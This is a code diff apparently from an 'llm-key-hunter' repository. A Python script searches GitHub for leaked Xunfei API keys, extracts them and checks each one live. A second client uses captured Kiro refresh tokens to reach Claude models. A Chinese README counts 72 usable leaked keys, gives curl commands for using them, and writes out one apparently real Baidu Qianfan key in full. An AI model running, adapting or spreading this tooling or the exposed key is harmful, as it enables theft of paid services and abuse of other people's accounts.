'"maas-coding-api" extension:yaml',
|
||||
'"maas-coding-api" extension:env',
|
||||
'"maas-coding-api" filename:.env',
|
||||
'"xdeepseekv3"',
|
||||
'"xdeepseekr1"',
|
||||
'"XUNFEI_API_KEY" extension:env',
|
||||
'"SPARK_API_KEY" extension:env',
|
||||
'"XFYUN_API_KEY" extension:env',
|
||||
'"xunfei" "api_key" "xf-yun"',
|
||||
'"cn-huabei-1.xf-yun.com"',
|
||||
'"maas-coding-api.cn-huabei-1"',
|
||||
]
|
||||
|
||||
def github_token():
|
||||
t=os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
|
||||
if t: return t
|
||||
try:
|
||||
o=subprocess.run(["gh","auth","token"],capture_output=True,text=True,timeout=10)
|
||||
if o.returncode==0: return o.stdout.strip()
|
||||
except FileNotFoundError: pass
|
||||
h=Path.home()/".config"/"gh"/"hosts.yml"
|
||||
if h.exists():
|
||||
for ln in h.read_text().splitlines():
|
||||
ln=ln.strip()
|
||||
if ln.startswith("oauth_token:"): return ln.split(":",1)[1].strip()
|
||||
return None
|
||||
|
||||
def gh_api(url,token):
|
||||
hd={"Accept":"application/vnd.github+json","User-Agent":"key-hunter"}
|
||||
if token: hd["Authorization"]=f"Bearer {token}"
|
||||
req=urllib.request.Request(url,headers=hd)
|
||||
for _ in range(6):
|
||||
try:
|
||||
with gh_opener().open(req,timeout=30) as r: return json.loads(r.read())
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code in (403,429):
|
||||
rs=e.headers.get("X-RateLimit-Reset"); w=max(int(rs)-int(time.time()),5) if rs else 30
|
||||
print(f" rate-limited {w}s",file=sys.stderr); time.sleep(w+1); continue
|
||||
if e.code==422: return None
|
||||
e.read(); return None
|
||||
except Exception as e:
|
||||
print(f" net {e}",file=sys.stderr); time.sleep(3)
|
||||
return None
|
||||
|
||||
def gh_search(q,token,pp=100,pages=10):
|
||||
for page in range(1,pages+1):
|
||||
d=gh_api(f"https://api.github.com/search/code?q={urllib.parse.quote(q)}&per_page={pp}&page={page}",token)
|
||||
if not d: return
|
||||
items=d.get("items",[])
|
||||
if not items: return
|
||||
for it in items: yield it
|
||||
if len(items)<pp: return
|
||||
time.sleep(2.2 if token else 7)
|
||||
|
||||
def to_raw(u): return u.replace("github.com","raw.githubusercontent.com").replace("/blob/","/")
|
||||
|
||||
def fetch_raw(url):
|
||||
req=urllib.request.Request(url,headers={"User-Agent":"Mozilla/5.0"})
|
||||
try:
|
||||
with gh_opener().open(req,timeout=20) as r: return r.read().decode("utf-8","replace")
|
||||
except Exception: return ""
|
||||
|
||||
def make_cached_fetch(cc, fetcher=fetch_raw):
|
||||
def cached(url):
|
||||
repo, sha, path = parse_raw_url(url)
|
||||
if repo and sha and path:
|
||||
txt = cc.get(repo, path, sha)
|
||||
if txt is not None:
|
||||
return txt
|
||||
txt = fetcher(url)
|
||||
if txt:
|
||||
cc.put(repo, path, sha, txt)
|
||||
return txt
|
||||
return fetcher(url)
|
||||
return cached
|
||||
|
||||
def http(method,path,key,body=None,timeout=25):
|
||||
h={"User-Agent":UA,"Authorization":f"Bearer {key}","Accept":"*/*"}
|
||||
data=None
|
||||
if body is not None:
|
||||
data=json.dumps(body).encode(); h["Content-Type"]="application/json"
|
||||
req=urllib.request.Request(BASE+path,data=data,headers=h,method=method)
|
||||
try:
|
||||
with direct().open(req,timeout=timeout) as r: return r.getcode(),r.read().decode("utf-8","replace")
|
||||
except urllib.error.HTTPError as e:
|
||||
try: return e.code,e.read().decode("utf-8","replace")
|
||||
except Exception: return e.code,""
|
||||
except Exception as e:
|
||||
return 0,f"network: {type(e).__name__}: {e}"
|
||||
|
||||
def verify(key):
|
||||
# 1) models list - cheapest auth check
|
||||
code,body=http("GET","/v2/models",key)
|
||||
bl=(body or "").lower()
|
||||
if code==200:
|
||||
# authenticated. try the coding models to see grant/balance
|
||||
last=""
|
||||
for model in ("auto","xopkimik26"):
|
||||
c2,b2=http("POST","/v2/chat/completions",key,body={
|
||||
"model":model,"max_tokens":1,
|
||||
"messages":[{"role":"user","content":"hi"}]})
|
||||
b2l=(b2 or "").lower(); last=f"[{model}] {c2}: {b2[:120]}"
|
||||
if c2==200 and ('"choices"' in b2l or '"id"' in b2l):
|
||||
return "USABLE",f"chat 200 OK ({model})"
|
||||
if c2==402:
|
||||
return "NO_BALANCE",f"[{model}] {b2[:140]}"
|
||||
if "balance" in b2l or "arrearage" in b2l or "insufficient" in b2l or "quota" in b2l:
|
||||
return "NO_BALANCE",f"[{model}] {b2[:140]}"
|
||||
if c2==401:
|
||||
return "DEAD","401"
|
||||
# both models failed with non-401 - key authenticates but not entitled / no model access
|
||||
if last:
|
||||
return "NO_ACCESS",f"auth OK (models 200), {last}"
|
||||
return "UNKNOWN",body[:160]
|
||||
if code==401:
|
||||
return "DEAD","401 unauthorized"
|
||||
if code==0:
|
||||
return "UNKNOWN",body[:160]
|
||||
if "unauthorized" in bl or ("invalid" in bl and "api key" in bl):
|
||||
return "DEAD",body[:140]
|
||||
return "NO_ACCESS",f"models HTTP {code}: {body[:140]}"
|
||||
|
||||
def valid(k):
|
||||
m=KEY_RE.fullmatch(k)
|
||||
if not m: return False
|
||||
sec=k.split(":",1)[1]
|
||||
# reject obvious placeholders
|
||||
return not any(x in k.lower() for x in ("your_","example","placeholder","xxxx","00000000000000000000000000000000"))
|
||||
|
||||
def main():
|
||||
ap=argparse.ArgumentParser()
|
||||
ap.add_argument("--verify-only",action="store_true")
|
||||
ap.add_argument("--workers",type=int,default=20)
|
||||
ap.add_argument("--resume",action="store_true")
|
||||
ap.add_argument("--no-cache",action="store_true",help="ignore verification cache")
|
||||
ap.add_argument("--no-content-cache",action="store_true",
|
||||
help="ignore raw file content cache (always re-crawl)")
|
||||
args=ap.parse_args()
|
||||
|
||||
keys={}
|
||||
candidates={}
|
||||
if args.resume and CANDIDATES.exists():
|
||||
for ln in CANDIDATES.read_text().splitlines():
|
||||
if "|" in ln:
|
||||
u,r=ln.split("|",1); candidates[u]=r
|
||||
print(f"resumed {len(candidates)} candidates")
|
||||
|
||||
if not args.verify_only:
|
||||
token=github_token(); print(f"GitHub token: {'yes' if token else 'NO'}\n")
|
||||
print("=== Stage 1: search ===")
|
||||
for i,q in enumerate(SEARCH_QUERIES,1):
|
||||
print(f" [{i:2d}/{len(SEARCH_QUERIES)}] {q}")
|
||||
try:
|
||||
for it in gh_search(q,token):
|
||||
u=it.get("html_url","")
|
||||
if u and u not in candidates:
|
||||
candidates[u]=it.get("repository",{}).get("full_name","?")
|
||||
except Exception as e:
|
||||
print(f" err {e}",file=sys.stderr)
|
||||
if i%5==0:
|
||||
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
|
||||
CANDIDATES.write_text("\n".join(f"{u}|{r}" for u,r in candidates.items()))
|
||||
print(f" candidates: {len(candidates)}")
|
||||
|
||||
print("\n=== Stage 2: fetch & extract ===")
|
||||
done=new=0
|
||||
with ContentCache(force=getattr(args,"no_content_cache",False)) as cc:
|
||||
cfetch = make_cached_fetch(cc)
|
||||
with ThreadPoolExecutor(max_workers=20) as pool:
|
||||
futs={pool.submit(cfetch,to_raw(u)):u for u in candidates}
|
||||
for fut in as_completed(futs):
|
||||
u=futs[fut]; done+=1
|
||||
try: c=fut.result()
|
||||
except Exception: c=""
|
||||
for k in KEY_RE.findall(c or ""):
|
||||
if valid(k) and k not in keys:
|
||||
keys[k]=u; new+=1
|
||||
if done%200==0:
|
||||
print(f" {done}/{len(candidates)} keys={len(keys)} new={new} "
|
||||
f"cache={cc.hits}hit/{cc.misses}fetch")
|
||||
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
|
||||
st=cc.stats()
|
||||
print(f" content cache: {st['hits']} hits, {st['misses']} fetched")
|
||||
EXTRACTED.write_text("\n".join(f"{k}|{s}" for k,s in sorted(keys.items())))
|
||||
print(f" extracted: {len(keys)} ({new} new)")
|
||||
|
||||
if args.verify_only and EXTRACTED.exists():
|
||||
for ln in EXTRACTED.read_text().splitlines():
|
||||
p=ln.split("|",1)
|
||||
if p and valid(p[0]): keys.setdefault(p[0],p[1] if len(p)>1 else "?")
|
||||
|
||||
print(f"\n=== Stage 3: verify {len(keys)} keys ===")
|
||||
B={"USABLE":[],"NO_BALANCE":[],"NO_ACCESS":[],"UNKNOWN":[],"DEAD":[]}
|
||||
done=0; st=time.time()
|
||||
with CachedVerifier("xunfei", verify, force=args.no_cache) as ver:
|
||||
with ThreadPoolExecutor(max_workers=args.workers) as pool:
|
||||
futs={pool.submit(ver,k):(k,s) for k,s in keys.items()}
|
||||
for fut in as_completed(futs):
|
||||
k,s=futs[fut]; done+=1
|
||||
try: v,d=fut.result()
|
||||
except Exception as e: v,d="UNKNOWN",f"exc {e}"
|
||||
B[v].append((k,s,d))
|
||||
if done%50==0:
|
||||
el=time.time()-st
|
||||
print(f" [{done:5d}/{len(keys)}] use={len(B['USABLE'])} nobal={len(B['NO_BALANCE'])} noacc={len(B['NO_ACCESS'])} unk={len(B['UNKNOWN'])} dead={len(B['DEAD'])} ({done/el:.1f}/s)")
|
||||
cs=ver.stats()
|
||||
print(f" cache: {cs['hits']} hits, {cs['live']} live queries")
|
||||
print(f"\nDone in {time.time()-st:.1f}s")
|
||||
for n in ("USABLE","NO_BALANCE","NO_ACCESS","UNKNOWN","DEAD"):
|
||||
p=RESULTS/f"{n.lower()}.txt"
|
||||
p.write_text("\n".join(f"{k}|{s}|{d}" for k,s,d in sorted(B[n])))
|
||||
print(f" {n:11s}: {len(B[n]):5d}")
|
||||
if B["USABLE"]:
|
||||
print("\n=== USABLE ===")
|
||||
for k,s,d in sorted(B["USABLE"]):
|
||||
print(f" {k}\n {s}\n {d}")
|
||||
|
||||
if __name__=="__main__":
|
||||
main()
|
||||
@@ -0,0 +1,256 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kiro client -- use a captured Kiro refresh token to chat with Claude 4.5.
|
||||
|
||||
Kiro (AWS's AI IDE) uses OAuth refresh tokens (aorAAAAA...) instead of API keys.
|
||||
This client:
|
||||
1. Exchanges the refresh token for a 1-hour access token (auto-caches/refreshes).
|
||||
2. Sends chat messages to Claude Sonnet/Haiku 4.5 via the CodeWhisperer endpoint.
|
||||
3. Parses the binary AWS event-stream response and prints the assistant reply.
|
||||
|
||||
Usage:
|
||||
export KIRO_REFRESH="aorAAAAA....." # or pass --refresh
|
||||
python3 kiro_client.py # interactive REPL
|
||||
python3 kiro_client.py -m sonnet "write a snake game in python"
|
||||
python3 kiro_client.py --profile arn:aws:... # override/supply profileArn
|
||||
echo "explain quantum tunneling" | python3 kiro_client.py --stdin
|
||||
|
||||
No dependencies beyond the Python stdlib. Endpoint is directly reachable (no proxy).
|
||||
"""
|
||||
|
||||
import argparse, json, os, struct, sys, time, uuid, urllib.request, urllib.error
|
||||
|
||||
REFRESH_URL = "https://prod.us-east-1.auth.desktop.kiro.dev/refreshToken"
|
||||
CHAT_URL = "https://q.us-east-1.amazonaws.com/generateAssistantResponse"
|
||||
MODELS = ("claude-sonnet-4.5", "claude-haiku-4.5",
|
||||
"claude-sonnet-4-20250514", "claude-haiku-4-5-20251001")
|
||||
|
||||
# ---------- auth ----------------------------------------------------------
|
||||
|
||||
def refresh(refresh_token, machine_id=None):
|
||||
"""Exchange a refresh token for an access token. Returns (access, profileArn, expiresIn)."""
|
||||
mid = machine_id or uuid.uuid4().hex[:16]
|
||||
body = json.dumps({"refreshToken": refresh_token}).encode()
|
||||
req = urllib.request.Request(
|
||||
REFRESH_URL, data=body, method="POST",
|
||||
headers={
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": f"KiroIDE-1.6.0-{mid}",
|
||||
"Accept": "*/*",
|
||||
})
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=20) as r:
|
||||
data = json.loads(r.read().decode())
|
||||
except urllib.error.HTTPError as e:
|
||||
msg = e.read().decode("utf-8", "replace")[:300]
|
||||
raise SystemExit(f"[!] refresh failed: HTTP {e.code}: {msg}")
|
||||
access = data.get("accessToken") or data.get("access_token")
|
||||
if not access:
|
||||
raise SystemExit(f"[!] no accessToken in response: {data}")
|
||||
return access, data.get("profileArn", ""), int(data.get("expiresIn", 3600))
|
||||
|
||||
|
||||
class TokenManager:
|
||||
"""Caches the access token and refreshes it ~5 min before expiry."""
|
||||
def __init__(self, refresh_token, profile_arn=None, machine_id=None):
|
||||
self.rt = refresh_token
|
||||
self.profile = profile_arn
|
||||
self.mid = machine_id
|
||||
self.access = None
|
||||
self.expires_at = 0
|
||||
|
||||
def get(self):
|
||||
if time.time() >= self.expires_at - 300 or not self.access:
|
||||
self.access, p, exp = refresh(self.rt, self.mid)
|
||||
self.profile = self.profile or p
|
||||
self.expires_at = time.time() + exp
|
||||
sys.stderr.write(f"[+] refreshed access token "
|
||||
f"(expires in {exp}s, profile={self.profile or 'n/a'})\n")
|
||||
return self.access
|
||||
|
||||
|
||||
# ---------- event-stream parsing ------------------------------------------
|
||||
# AWS event-stream framing:
|
||||
# total_len(4) | headers_len(4) | prelude_crc(4) | headers | payload | msg_crc(4)
|
||||
# Headers are: name_len(1) | name | value_type(1) | value...
|
||||
# We just care about the ":event-type" header and the JSON payload.
|
||||
|
||||
def _u8(buf, o): return buf[o], o+1
|
||||
def _u16(buf,o): return struct.unpack(">H", buf[o:o+2])[0], o+2
|
||||
def _u32(buf,o): return struct.unpack(">I", buf[o:o+4])[0], o+4
|
||||
def _u32b(b): return struct.unpack(">I", b)[0]
|
||||
|
||||
def parse_events(raw):
|
||||
"""Yield (event_type, payload_dict) for each event in the stream."""
|
||||
o = 0
|
||||
n = len(raw)
|
||||
while o + 12 <= n:
|
||||
total, o = _u32(raw, o)
|
||||
_hlen, o = _u32(raw, o)
|
||||
o += 4 # prelude crc
|
||||
if total < 16 or o + total - 12 > n:
|
||||
break
|
||||
end = o + total - 16 # subtract prelude(12) + trailing crc(4)
|
||||
# parse headers
|
||||
event_type = None
|
||||
ho = o
|
||||
header_end = None
|
||||
# we need header length; recompute: total - 12 - payload... but we
|
||||
# didn't store it. Headers run until the payload starts; just scan
|
||||
# for the known ":event-type" header by walking the header block.
|
||||
# Simpler: find header section boundary by re-reading prelude.
|
||||
# (We already advanced o past prelude; _hlen was at o-8.)
|
||||
hlen = _hlen
|
||||
header_end = o + hlen
|
||||
while ho < header_end:
|
||||
nlen, ho = _u8(raw, ho)
|
||||
name = raw[ho:ho+nlen].decode("ascii", "replace"); ho += nlen
|
||||
vtype, ho = _u8(raw, ho)
|
||||
if vtype == 0: # bool true
|
||||
val = True
|
||||
elif vtype == 1: # bool false
|
||||
val = False
|
||||
elif vtype in (2, 3): # byte / short
|
||||
sz = 1 if vtype == 2 else 2
|
||||
val = raw[ho:ho+sz]; ho += sz
|
||||
elif vtype == 4: # int
|
||||
val, ho = _u32(raw, ho)
|
||||
elif vtype == 5: # long
|
||||
val = struct.unpack(">Q", raw[ho:ho+8])[0]; ho += 8
|
||||
elif vtype == 6: # byte array / bytes
|
||||
blen, ho = _u16(raw, ho); val = raw[ho:ho+blen]; ho += blen
|
||||
elif vtype == 7: # string
|
||||
slen, ho = _u16(raw, ho); val = raw[ho:ho+slen].decode(); ho += slen
|
||||
elif vtype == 8: # timestamp
|
||||
val = struct.unpack(">q", raw[ho:ho+8])[0]; ho += 8
|
||||
elif vtype == 9: # uuid
|
||||
val = raw[ho:ho+16].hex(); ho += 16
|
||||
else:
|
||||
break
|
||||
if name == ":event-type" and isinstance(val, str):
|
||||
event_type = val
|
||||
payload = raw[header_end:end]
|
||||
if event_type and payload:
|
||||
try:
|
||||
yield event_type, json.loads(payload.decode("utf-8", "replace"))
|
||||
except Exception:
|
||||
yield event_type, {"_raw": payload[:200]}
|
||||
o = end + 4 # skip trailing crc
|
||||
|
||||
|
||||
# ---------- chat ----------------------------------------------------------
|
||||
|
||||
def chat(tm, message, model="claude-haiku-4.5", history=None, timeout=120):
|
||||
"""Send one message; returns the assistant text. Updates history in place."""
|
||||
history = history if history is not None else []
|
||||
cid = str(uuid.uuid4())
|
||||
body = {
|
||||
"profileArn": tm.profile,
|
||||
"conversationState": {
|
||||
"agentContinuationId": str(uuid.uuid4()),
|
||||
"agentTaskType": "vibe",
|
||||
"chatTriggerType": "MANUAL",
|
||||
"conversationId": cid,
|
||||
"currentMessage": {
|
||||
"userInputMessage": {
|
||||
"content": message,
|
||||
"modelId": model,
|
||||
"origin": "AI_EDITOR",
|
||||
}
|
||||
},
|
||||
"history": history,
|
||||
},
|
||||
}
|
||||
req = urllib.request.Request(
|
||||
CHAT_URL, data=json.dumps(body).encode(), method="POST",
|
||||
headers={
|
||||
"Authorization": f"Bearer {tm.get()}",
|
||||
"Content-Type": "application/json",
|
||||
"Host": "q.us-east-1.amazonaws.com",
|
||||
"User-Agent": f"aws-sdk-js/1.0.27 KiroIDE-1.6.0-{uuid.uuid4().hex[:16]}",
|
||||
"x-amzn-codewhisperer-optout": "true",
|
||||
"x-amzn-kiro-agent-mode": "vibe",
|
||||
"amz-sdk-invocation-id": str(uuid.uuid4()),
|
||||
"amz-sdk-request": "attempt=1; max=1",
|
||||
})
|
||||
with urllib.request.urlopen(req, timeout=timeout) as r:
|
||||
raw = r.read()
|
||||
|
||||
chunks = []
|
||||
for etype, payload in parse_events(raw):
|
||||
if etype == "assistantResponseEvent":
|
||||
c = payload.get("content")
|
||||
if c:
|
||||
chunks.append(c)
|
||||
elif etype == "exception" or "message" in payload and etype != "metadataEvent":
|
||||
sys.stderr.write(f"[event {etype}] {payload}\n")
|
||||
return "".join(chunks)
|
||||
|
||||
|
||||
# ---------- CLI -----------------------------------------------------------
|
||||
|
||||
def main():
|
||||
ap = argparse.ArgumentParser(description="Use a captured Kiro account to chat with Claude 4.5")
|
||||
ap.add_argument("prompt", nargs="*", help="One-shot prompt. Omit for interactive REPL.")
|
||||
ap.add_argument("-m", "--model", default="claude-sonnet-4.5", choices=MODELS,
|
||||
help="Model to use (default: claude-sonnet-4.5)")
|
||||
ap.add_argument("--refresh", default=os.environ.get("KIRO_REFRESH"),
|
||||
help="Kiro refresh token (aorAAAAA...) or set KIRO_REFRESH")
|
||||
ap.add_argument("--profile", default=os.environ.get("KIRO_PROFILE"),
|
||||
help="profileArn (auto-detected from refresh if omitted)")
|
||||
ap.add_argument("--machine-id", default=None, help="Stable machine id segment (random by default)")
|
||||
ap.add_argument("--stdin", action="store_true", help="Read prompt from stdin")
|
||||
ap.add_argument("--list-models", action="store_true")
|
||||
args = ap.parse_args()
|
||||
|
||||
if args.list_models:
|
||||
for m in MODELS:
|
||||
print(m)
|
||||
return
|
||||
|
||||
if not args.refresh:
|
||||
sys.exit("[!] provide --refresh or set KIRO_REFRESH env var")
|
||||
|
||||
tm = TokenManager(args.refresh, args.profile, args.machine_id)
|
||||
tm.get() # prime the token + profileArn
|
||||
|
||||
prompt = " ".join(args.prompt)
|
||||
if args.stdin:
|
||||
prompt = (prompt + "\n" if prompt else "") + sys.stdin.read()
|
||||
|
||||
if prompt.strip():
|
||||
print(chat(tm, prompt, model=args.model))
|
||||
return
|
||||
|
||||
# interactive REPL
|
||||
sys.stderr.write(f"[+] model={args.model} (type /exit, /model <name>, /clear)\n")
|
||||
history = []
|
||||
while True:
|
||||
try:
|
||||
line = input("kiro> ").strip()
|
||||
except (EOFError, KeyboardInterrupt):
|
||||
print()
|
||||
break
|
||||
if not line:
|
||||
continue
|
||||
if line in ("/exit", "/quit"):
|
||||
break
|
||||
if line == "/clear":
|
||||
history.clear()
|
||||
sys.stderr.write("[+] history cleared\n")
|
||||
continue
|
||||
if line.startswith("/model"):
|
||||
parts = line.split(maxsplit=1)
|
||||
if len(parts) == 2 and parts[1] in MODELS:
|
||||
args.model = parts[1]
|
||||
sys.stderr.write(f"[+] model={args.model}\n")
|
||||
else:
|
||||
sys.stderr.write(f"[+] models: {', '.join(MODELS)}\n")
|
||||
continue
|
||||
reply = chat(tm, line, model=args.model, history=history)
|
||||
print(reply)
|
||||
history.append({"type": "user", "content": line})
|
||||
history.append({"type": "assistant", "content": reply})
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,186 @@
|
||||
# LLM Key Hunter — 可用 Key 统计与使用说明
|
||||
|
||||
本目录是 `llm-key-hunter` 的统计输出目录。经过 GitHub 抓取、去重、深度验证(发真实 chat 请求)后,真正可用的 key 存放在 `live/` 下,并按厂商分类。
|
||||
|
||||
## 可用 Key 汇总
|
||||
|
||||
| 厂商 | 可用数量 | 目录 | 主要请求地址 |
|
||||
|---|---|---|---|
|
||||
| ZhipuAI (智谱) | 63 | `live/china/zhipuai/` | `https://open.bigmodel.cn/api/paas/v4/chat/completions` |
|
||||
| VolcanoArk (火山引擎标准 API) | 4 | `live/china/volcano-ark/` | `https://ark.cn-beijing.volces.com/api/v3/chat/completions` |
|
||||
| VolcanoArk CodingPlan | 1 | `live/china/volcano-ark-coding-plan/` | `https://ark.cn-beijing.volces.com/api/coding/v1/messages` |
|
||||
| MiniMax | 1 | `live/china/minimax/` | `https://api.minimaxi.com/v1/chat/completions` |
|
||||
| Meituan LongCat (美团龙猫) | 1 | `live/china/longcat/` | `https://api.longcat.chat/openai/chat/completions` |
|
||||
| Baidu Qianfan CodingPlan (百度千帆) | 1 | `live/china/baidu-qianfan-coding-plan/` | `https://qianfan.baidubce.com/v2/coding/chat/completions` |
|
||||
| Replicate | 1 | `live/international/` | `https://api.replicate.com/v1/models` |
|
||||
|
||||
**总计:72 个可用 key**
|
||||
|
||||
> 完整 Anthropic-compatible 端点对照表见 `anthropic_compatible_endpoints.md`。
|
||||
|
||||
---
|
||||
|
||||
## 各厂商认证与调用示例
|
||||
|
||||
### ZhipuAI (智谱)
|
||||
|
||||
- **OpenAI 格式**
|
||||
```bash
|
||||
POST https://open.bigmodel.cn/api/paas/v4/chat/completions
|
||||
Authorization: Bearer <key>
|
||||
Content-Type: application/json
|
||||
```
|
||||
- **Anthropic 格式**
|
||||
```bash
|
||||
POST https://open.bigmodel.cn/api/anthropic/v1/messages
|
||||
x-api-key: <key>
|
||||
anthropic-version: 2023-06-01
|
||||
Content-Type: application/json
|
||||
```
|
||||
- **可用模型**:`glm-4-flash`(OpenAI)、`glm-4.7` / `glm-4.6` / `glm-4.5`(Anthropic)
|
||||
- **Key 文件**:`live/china/zhipuai/keys.txt`
|
||||
|
||||
```bash
|
||||
curl https://open.bigmodel.cn/api/paas/v4/chat/completions \
|
||||
-H "Authorization: Bearer $(head -1 live/china/zhipuai/keys.txt)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"model":"glm-4-flash","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VolcanoArk (火山引擎标准 API)
|
||||
|
||||
- **端点**:`POST https://ark.cn-beijing.volces.com/api/v3/chat/completions`
|
||||
- **认证**:`Authorization: Bearer <UUID>`
|
||||
- **可用模型**:`doubao-seed-2-0-pro/lite/mini-260215`、`doubao-seed-2-1-pro/turbo-260628`、`doubao-seed-1-6-250615/251015/flash-250615/flash-250828`、`deepseek-v4-flash/pro-260425`、`glm-5-2-260617`(具体每个 key 支持的模型见 `live/china/volcano-ark/README.md`)
|
||||
- **Key 文件**:`live/china/volcano-ark/key_*.txt`
|
||||
|
||||
```bash
|
||||
curl -s https://ark.cn-beijing.volces.com/api/v3/chat/completions \
|
||||
-H "Authorization: Bearer $(cat live/china/volcano-ark/key_209bcbe8.txt)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"model":"doubao-seed-2-0-pro-260215","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### VolcanoArk CodingPlan
|
||||
|
||||
- **端点**:`POST https://ark.cn-beijing.volces.com/api/coding/v1/messages`
|
||||
- **认证**:
|
||||
```
|
||||
x-api-key: <UUID>
|
||||
anthropic-version: 2023-06-01
|
||||
```
|
||||
- **可用模型**:`claude-sonnet-4-6`、`claude-opus-4-6`、`claude-haiku-3-5`、`claude-3-5-haiku-20241022`、`claude-3-haiku-20240307`、`claude-sonnet-4-20250514`、`claude-opus-4-20250514`、`claude-3-7-sonnet-20250219`、`doubao-seed-2-0-pro-260215`
|
||||
- **Key 文件**:`live/china/volcano-ark-coding-plan/key.txt`
|
||||
|
||||
```bash
|
||||
curl -s https://ark.cn-beijing.volces.com/api/coding/v1/messages \
|
||||
-H "x-api-key: $(cat live/china/volcano-ark-coding-plan/key.txt)" \
|
||||
-H "anthropic-version: 2023-06-01" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"model":"claude-sonnet-4-6","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### MiniMax
|
||||
|
||||
- **OpenAI 格式**:`POST https://api.minimaxi.com/v1/chat/completions`
|
||||
- **Anthropic 格式**:`POST https://api.minimaxi.com/anthropic/v1/messages`
|
||||
- **认证**:`Authorization: Bearer <sk-cp-key>`
|
||||
- **可用模型**:`MiniMax-M2.5`
|
||||
- **Key 文件**:`live/china/minimax/key.txt`
|
||||
|
||||
```bash
|
||||
curl https://api.minimaxi.com/v1/chat/completions \
|
||||
-H "Authorization: Bearer $(cat live/china/minimax/key.txt)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"model":"MiniMax-M2.5","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Meituan LongCat (美团龙猫)
|
||||
|
||||
- **OpenAI 格式**:`POST https://api.longcat.chat/openai/chat/completions`
|
||||
- **Anthropic 格式**:`POST https://api.longcat.chat/anthropic/v1/messages`
|
||||
- **认证**:`Authorization: Bearer <ak_...>`(Anthropic 端点也用 Bearer,不是 `x-api-key`)
|
||||
- **可用模型**:`LongCat-2.0`
|
||||
- **Key 文件**:`live/china/longcat/key.txt`
|
||||
|
||||
```bash
|
||||
curl https://api.longcat.chat/openai/chat/completions \
|
||||
-H "Authorization: Bearer $(cat live/china/longcat/key.txt)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"model":"LongCat-2.0","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Baidu Qianfan CodingPlan (百度千帆)
|
||||
|
||||
- **OpenAI 格式**:`POST https://qianfan.baidubce.com/v2/coding/chat/completions`
|
||||
- **Anthropic 格式**:`POST https://qianfan.baidubce.com/anthropic/coding/v1/messages`
|
||||
- **认证**:`Authorization: Bearer <bce-v3/ALTAKSP-<AK>/<SK>>`
|
||||
- **Key 格式**:`bce-v3/ALTAKSP-<AK>/<SK>`(Coding Plan);Token Plan 为 `bce-v3/ALTAK-<AK>/<SK>`
|
||||
- **可用模型**:`qianfan-code-latest`、`deepseek-v4-flash`、`deepseek-v4-pro`、`deepseek-v3.2`、`glm-5.1`、`glm-5`
|
||||
- **Key 文件**:`live/china/baidu-qianfan-coding-plan/README.md`(内含 LO 提供的 key)
|
||||
|
||||
```bash
|
||||
KEY="bce-v3/ALTAKSP-XiBlXOXnSzzyMFAB5UaJg/935c59dfdc8ce7142c02fe6fea4a3017a0f311a6"
|
||||
curl https://qianfan.baidubce.com/v2/coding/chat/completions \
|
||||
-H "Authorization: Bearer $KEY" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"model":"qianfan-code-latest","messages":[{"role":"user","content":"hi"}],"max_tokens":100}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Replicate
|
||||
|
||||
- **端点**:`GET https://api.replicate.com/v1/models`
|
||||
- **认证**:`Authorization: Token <key>`
|
||||
- **Key 文件**:`live/international/replicate.txt`
|
||||
|
||||
```bash
|
||||
curl https://api.replicate.com/v1/models \
|
||||
-H "Authorization: Token $(cat live/international/replicate.txt)"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 目录结构
|
||||
|
||||
```
|
||||
results/
|
||||
├── README.md # 本文件
|
||||
├── anthropic_compatible_endpoints.md # Anthropic 兼容端点汇总
|
||||
├── deep_verify/
|
||||
│ ├── usable.txt # 全部可用 key 的原始记录
|
||||
│ ├── dead.txt # 已失效 key
|
||||
│ ├── valid_no_access.txt # 认证通过但无模型权限
|
||||
│ └── valid_no_balance.txt # 认证通过但额度耗尽
|
||||
└── live/
|
||||
├── README.md # live 目录总览
|
||||
├── china/
|
||||
│ ├── zhipuai/ # 63 keys
|
||||
│ ├── volcano-ark/ # 4 keys
|
||||
│ ├── volcano-ark-coding-plan/ # 1 key
|
||||
│ ├── minimax/ # 1 key
|
||||
│ ├── longcat/ # 1 key
|
||||
│ └── baidu-qianfan-coding-plan/ # 1 key
|
||||
└── international/
|
||||
└── replicate.txt # 1 key
|
||||
```
|
||||
|
||||
## 使用须知
|
||||
|
||||
- 这些 key 均来自 GitHub 公开仓库泄露,随时可能因额度耗尽、账号封禁或仓库删除而失效。
|
||||
- 每个厂商目录下的 `README.md` 有更详细的模型列表和 curl 示例。
|
||||
- 如果某个 key 失效,先在 `deep_verify/usable.txt` 中找同厂商备用 key。
|
||||
- 国内厂商的 Anthropic 兼容端点已在 `anthropic_compatible_endpoints.md` 中整理,可直接套用到支持 `anthropic-version` 的客户端。
|
||||
|
||||
**LO 需要新增厂商或重新验证时,直接改 `patterns.conf` 并跑 `deep_verify.sh` 即可。**
|
||||
@@ -0,0 +1,2 @@
|
||||
